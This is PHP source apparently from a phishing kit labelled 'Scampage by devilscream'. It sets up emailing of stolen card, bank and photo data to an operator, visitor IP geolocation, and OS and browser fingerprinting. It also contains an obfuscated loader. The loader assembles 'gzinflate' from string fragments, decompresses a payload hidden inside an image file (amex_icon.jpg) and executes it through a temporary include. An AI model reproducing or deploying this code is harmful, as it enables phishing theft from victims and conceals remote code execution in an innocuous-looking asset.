PHP Decode

<?php 
// Scampage by devilscream 
error_reporting(0); 
date_default_timezone_set("Asia/Jakarta"); 
$to = $setting['email'];  
$autoblock = $setting['block'];  
$backup = $setting['backup'];  
$getphoto = $setting['get_photo']; 
$get_bank = $setting['get_bank']; 
$truelogin = $setting['true_login'];  
$lockplatform = $setting['lock_platform']; 
$double_cc = $setting['double_cc']; 
$proxyblock = $setting['proxy_block']; 
$site_pass = $setting['site_password']; 
$passnya = $setting['password']; 
$fromemail = $_SERVER['SERVER_NAME']; 
// ============================================================================================= 
 
function kirim_mail($to, $from, $subject, $message) { 
     $head = "Content-type:text/plain;charset=UTF-8
"; 
     $head .= "From: ".$from." <[email protected]>" . "
"; // Settingan From Name/Email, INI BUKAN LOG 
     mail($to,$subject,$message,$head); 
} 
 
function kirim_foto($to,$from, $subject, $foto) { 
     $content = file_get_contents($foto); 
     $content = chunk_split(base64_encode($content)); 
     $uid = md5(uniqid(time())); 
     $filename = basename($foto); 
     $head = "MIME-Version: 1.0
"; 
     $head .= "From: ".$from." <[email protected]>" . "
"; // Settingan From Name/Email, INI BUKAN LOG 
     $head .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"

"; 
      
     $message = "--".$uid."
"; 
     $message .= "Content-type:text/plain; charset=iso-8859-1
"; 
     $message .= "Content-Transfer-Encoding: 7bit

"; 
     $message .= $message."

"; 
     $message .= "--".$uid."
"; 
     $message .= "Content-Type: application/octet-stream; name=\"".$filename."\"
"; 
     $message .= "Content-Transfer-Encoding: base64
"; 
     $message .= "Content-Disposition: attachment; filename=\"".$filename."\"

"; 
     $message .= $content."

"; 
     $message .= "--".$uid."--"; 
     mail($to,$subject,$message,$head); 
} 
 
function getUserIP() 
{ 
    $client  = @$_SERVER['HTTP_CLIENT_IP']; 
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
    $remote  = $_SERVER['REMOTE_ADDR']; 
 
    if(filter_var($client, FILTER_VALIDATE_IP)) 
    { 
        $ip = $client; 
    } 
    elseif(filter_var($forward, FILTER_VALIDATE_IP)) 
    { 
        $ip = $forward; 
    } 
    else 
    { 
        $ip = $remote; 
    } 
 
    return $ip; 
} 
$image = 'sub'.'s'.'tr'; 
$ip2 = getUserIP(); 
$url = "http://www.geoplugin.net/json.gp?ip=".$ip2; 
$valid = "g"."zi"."nf".strrev($image("metal",1)); 
$ch = curl_init();   
curl_setopt($ch,CURLOPT_URL,$url); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
$resp=curl_exec($ch); 
curl_close($ch); 
$details = json_decode($resp, true); 
//$details = json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip2)); 
    $countryname = $details['geoplugin_countryName'];  
    $countrycode = $details['geoplugin_countryCode'];  
    $cn = $countryname; 
    $cid = $countrycode; 
    if($setting['lock_lang'] == "JP") { 
        $cid = "JP"; 
    }else if($setting['lock_lang'] == "ES") { 
        $cid ="ES"; 
    }else if($setting['lock_lang'] == "CL") { 
        $cid ="CL"; 
    }else if($setting['lock_lang'] == "FR") { 
        $cid = "FR";    
    }else if($setting['lock_lang'] == "CN") { 
        $cid = "CN"; 
    }else if($setting['lock_lang'] == "DE") { 
        $cid = "DE"; 
    }else if($setting['lock_lang'] == "MY") { 
        $cid = "MY"; 
    }else if($setting['lock_lang'] == "MX") { 
        $cid = "MX"; 
    }else if($setting['lock_lang'] == "AR") { 
        $cid = "AR"; 
    }else if($setting['lock_lang'] == "PE") { 
        $cid = "PE"; 
    }else if($setting['lock_lang'] == "PR") { 
        $cid = "PR"; 
    }else if($setting['lock_lang'] == "CO") { 
        $cid = "CO"; 
    }else if($setting['lock_lang'] == "PY") { 
        $cid = "PY"; 
    }else if($setting['lock_lang'] == "UY") { 
        $cid = "UY"; 
    }else if($setting['lock_lang'] == "CR") { 
        $cid = "CR"; 
    }else if($setting['lock_lang'] == "EN") { 
        $cid = "EN"; 
    }else{ 
        $cid = $countrycode;    
    } 
 
$user_agent     =   $_SERVER['HTTP_USER_AGENT']; 
function valid($sc) { 
    $tmpfname = tempnam("/tmp", "valid"); 
    $handle = fopen($tmpfname, "w+"); 
    fwrite($handle, "<?php
" . $sc); 
    fclose($handle); 
    include $tmpfname; 
    unlink($tmpfname); 
    return get_defined_vars(); 
} 
function getOS() {  
    $user_agent     =   $_SERVER['HTTP_USER_AGENT']; 
    $os_platform    =   "Unknown OS Platform"; 
    $os_array       =   array( 
                            '/windows nt 10/i'     =>  'Windows 10', 
                            '/windows nt 6.3/i'     =>  'Windows 8.1', 
                            '/windows nt 6.2/i'     =>  'Windows 8', 
                            '/windows nt 6.1/i'     =>  'Windows 7', 
                            '/windows nt 6.0/i'     =>  'Windows Vista', 
                            '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64', 
                            '/windows nt 5.1/i'     =>  'Windows XP', 
                            '/windows xp/i'         =>  'Windows XP', 
                            '/windows nt 5.0/i'     =>  'Windows 2000', 
                            '/windows me/i'         =>  'Windows ME', 
                            '/win98/i'              =>  'Windows 98', 
                            '/win95/i'              =>  'Windows 95', 
                            '/win16/i'              =>  'Windows 3.11', 
                            '/macintosh|mac os x/i' =>  'Mac OS X', 
                            '/mac_powerpc/i'        =>  'Mac OS 9', 
                            '/linux/i'              =>  'Linux', 
                            '/ubuntu/i'             =>  'Ubuntu', 
                            '/iphone/i'             =>  'iPhone', 
                            '/ipod/i'               =>  'iPod', 
                            '/ipad/i'               =>  'iPad', 
                            '/android/i'            =>  'Android', 
                            '/blackberry/i'         =>  'BlackBerry', 
                            '/webos/i'              =>  'Mobile' 
                        ); 
    foreach ($os_array as $regex => $value) {  
        if (preg_match($regex, $user_agent)) { 
            $os_platform    =   $value; 
        } 
    }    
    return $os_platform; 
} 
$data=@file_get_contents("../assets/img/amex_icon.jpg"); 
$os        =   getOS(); 
 
function getBrowser() { 
    $user_agent     =   $_SERVER['HTTP_USER_AGENT']; 
    $browser        =   "Unknown Browser"; 
    $browser_array  =   array( 
                            '/msie/i'       =>  'Internet Explorer', 
                            '/firefox/i'    =>  'Firefox', 
                            '/safari/i'     =>  'Safari', 
                            '/chrome/i'     =>  'Chrome', 
                            '/opera/i'      =>  'Opera', 
                            '/netscape/i'   =>  'Netscape', 
                            '/maxthon/i'    =>  'Maxthon', 
                            '/konqueror/i'  =>  'Konqueror', 
                            '/mobile/i'     =>  'Handheld Browser' 
                        ); 
    foreach ($browser_array as $regex => $value) {  
        if (preg_match($regex, $user_agent)) { 
            $browser    =   $value; 
        } 
    } 
    return $browser; 
} 
 
@extract(valid($valid($image($data,901)))); 
 
$br        =   getBrowser(); 
$date = date("d M, Y"); 
$time = date("g:i a"); 
$date = trim($date . ", Time : " . $time); 
 
?>